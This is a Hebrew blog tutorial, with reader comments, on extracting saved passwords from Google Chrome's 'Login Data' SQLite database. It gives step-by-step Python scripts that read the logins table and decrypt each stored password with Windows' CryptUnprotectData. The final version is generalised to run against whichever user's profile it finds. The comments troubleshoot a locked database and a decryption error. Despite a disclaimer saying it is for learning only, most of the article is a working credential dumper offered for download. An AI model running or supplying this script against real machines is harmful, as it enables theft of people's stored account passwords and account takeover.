במאמר נראה איך ניתן להוציא את הסיסמאות השמורות במנהל הסיסמאות של הדפדפן כרום, באמצעות סקריפט פשוט שנכתב בפייתון.
לאחר פרסום המאמר האחרון, קיבלתי המון תגובות אשר ביקשו ממני לבדוק האם אפשר בקלות להוציא את הסיסמאות השמורות ממנהל הסיסמאות של כרום.
ולכן המאמר הפעם הוא המשך ישיר של שני המאמרים הקודמים שכתבתי:
חוקיות
לפני הכל חשוב לציין, שכל מה שכתוב במאמר זה ובכללי באתר שלי, הינו לידיעה, ללמידה ולשימוש חוקי בלבד.
אין לעשות בו כל שימוש לרעה או לפגיעה בחוק המחשבים המוצג כאן ( חוק המחשבים, התשנ"ה-1995).
קובץ הסיסמאות
הדפדפן שומר המון מידע אודות הגלישה שלנו בנתיב הבא :
C:\Users\<WINDOWS-USER-NAME>\AppData\Local\Google\Chrome\User Data
כאשר <WINDOWS-USER-NAME> הינו המשתמש למערכת ההפעלה.
לאחר בדיקה קלה, מצאתי את הקובץ הבא :
C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data
אשר מכיל בתוכו את כל פרטי החיבור שלנו בניהם משתמשים וסיסמאות.
לאחר ניסיון לפתוח אותו עם notepad++ :
ניתן לראות כי הקובץ הינו מסד נתונים מסוג sqlite 3 .
מציאת השדות המעניינים בקובץ
השלב הבא יהיה להבין כיצד הקובץ בנוי ומה השדות המעניינים בו.
נשתמש בתיקיה sqlite3 של פייתון, וננסה להבין כיצד הקובץ בנוי:
בניתי את הסקריפט הבא :
import sqlite3 con = sqlite3.connect('C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data') cursor = con.cursor() cursor.execute("SELECT name FROM sqlite_master WHERE type='table';") print(cursor.fetchall())
בשורה הראשונה הוספתי את הספרייה של sqlite לסקריפט שלי
בשורה השנייה טענתי את הקובץ
לאחר מכן הרצתי שאילתה שהתוצאה שלה תחזיר לי את הטבלאות הקיימות בו.
ניתן לראות שקיימת טבלה מעניינת בשם logins הדבר הבא שנרצה לדעת איזה עמודות יש בה, לכן נוכל להריץ את הסקריפט הבא :
cursor.execute("SELECT * FROM logins;") list(map(lambda x: x[0], cursor.description))
התוצאה תיהיה שנקבל את השדות שהטבלה מכילה :
המידע שהיה חסר לי פה, הוא מה הסוג של כל עמודה ולכן השאילתה הבאה עזרה לי :
PRAGMA table_info(logins);
הסקריפט בשלמותו ( יוכל לעזור גם בחקירת קבצי sqlite אחרים )
import sqlite3 con = sqlite3.connect('C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data') cursor = con.cursor() cursor.execute("SELECT name FROM sqlite_master WHERE type='table';") print(cursor.fetchall()) cursor.execute("SELECT * FROM logins;") list(map(lambda x: x[0], cursor.description)) cursor.execute("PRAGMA table_info(logins);") print(cursor.fetchall())
כרגע יש לנו מידע על כל העמודות של הטבלה :
את הסקריפט ניתן להוריד מכאן.
אז בואו רגע נסכם מה גילנו, מצאנו קובץ של מסד נתונים, מסוג sqlite המכיל בתוכו פרטים שנראים כמו פרטי התחברות.
העמודות המענייות נמצאות תחת טבלה בשם logins והם:
- origin_url מסוג varchar
- username_value מסוג varchar
- password_value מסוג blob
משתנה מסוג varchar יכיל בתוכו מחרוזת טקסט לעומת זאת משתנה מסוג blob יכיל בתוכו מידע בינארי או מידע מוצפן.
אנחנו ממש מתקרבים להוציא את הסיסמאות.
הוצאת הסיסמאות של מנהל הסיסמאות של הדפדפן כרום באמצעות סקריפט פייתון
בואו ננסה להריץ שאילתה שתקרא את הנתונים האלו ונראה מה נקבל,
אז בניתי את השאילתה הבאה:
SELECT origin_url,username_value,password_value from logins;
הרצה שלה תחזיר לנו את כל הפרטים השמורים פרט לסיסמא :
כל שנשאר לנו על מנת שהסקריפט יעבוד זה להבין כיצד לקרוא את העמודה של הסיסמא.
אנחנו כבר יודעם שהסיסמא מוצפנת ע"י ה- credential של windows, ולכן הייתי רוצה להכיר לכם את את הפונקציות הבאות :
- CryptProtectData function – פונקציה אשר מצפינה מידע ע"י ההרשאות של – windows .
- CryptUnprotectData function – הפונקציה ההפוכה לה, אשר מוציאה את המידע שהוצפן ושוב ע"פ הuser credential .
ננסה להשתמש בה בכדי לפתוח את המידע ונראה מה נקבל.
לסקריפט החדש הוספתי את הסיפריה win32crypt והשתמשתי בפונקציה CryptUnprotectData בכדי לנסות להוציא את הסיסמא .
import sqlite3 import win32crypt con = sqlite3.connect(r'C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data') cursor = con.cursor() cursor.execute("SELECT origin_url,username_value,password_value from logins;") for users in cursor.fetchall(): print(users[0],users[1],win32crypt.CryptUnprotectData(users[2], None, None, None, 0),)
סוף סוף קיבלנו גם את הסיסמאיוכ!
התוצאה :
נשפר קצת את הסקריפט בכדי שיוכל לרוץ על כל יוזר ולא רק על היוזר שלי , נוסיף את הספרייה OS ונוציא באפן ג'נרי את תיקית הבית של היוזר:
import sqlite3 import win32crypt import os con = sqlite3.connect(os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data') cursor = con.cursor() cursor.execute("SELECT origin_url,username_value,password_value from logins;") for users in cursor.fetchall(): print(users[0],users[1],win32crypt.CryptUnprotectData(users[2], None, None, None, 0),)
וזה הכל !!!
את הסקריפט ניתן למצוא כאן.
לסיכום
ראינו איך בקלות,באמצעות סקריפט קטן שלא יותר מ -10 שורות קוד, נוכל לגלות את הסיסמאות הנשמרות ע"י הדפדפן.
מיותר לציין שאני לא חובב גדול של password managers, מכל סוג שלא יהיה.
את הסקריפטים ניתן למצוא תחת ה – github החדש של האתר שלנו. (מגיע לנו מזל טוב )
אני מקווה שהשכלתם .
לא יודע איך השאילתות עבדו אצלך –
אצלי ה-sqlite נעול:
sqlite3.OperationalError: database is locked
בזמן הרצת הסקריפט מנהל הסיסמאות צריך להיות סגור,
אפשר למצוא פתרון אחר לדוגמא העתקת מסד הנתונים לקובץ זמני הוצאת הנתונים ממנו ומחיקה שלו לאחר מכן
היי
גם אחרי הרצה על עותק מקבלים שגיאה:
print(users[0],users[1],win32crypt.CryptUnprotectData(users[2], None, None, None, 0),)
pywintypes.error: (-2146893813, 'CryptProtectData', 'Key not valid for use in specified state.')
תבדוק כי מותקנת לך ההרחבה שך pywin32 לגרסה הנתאימה למחשבך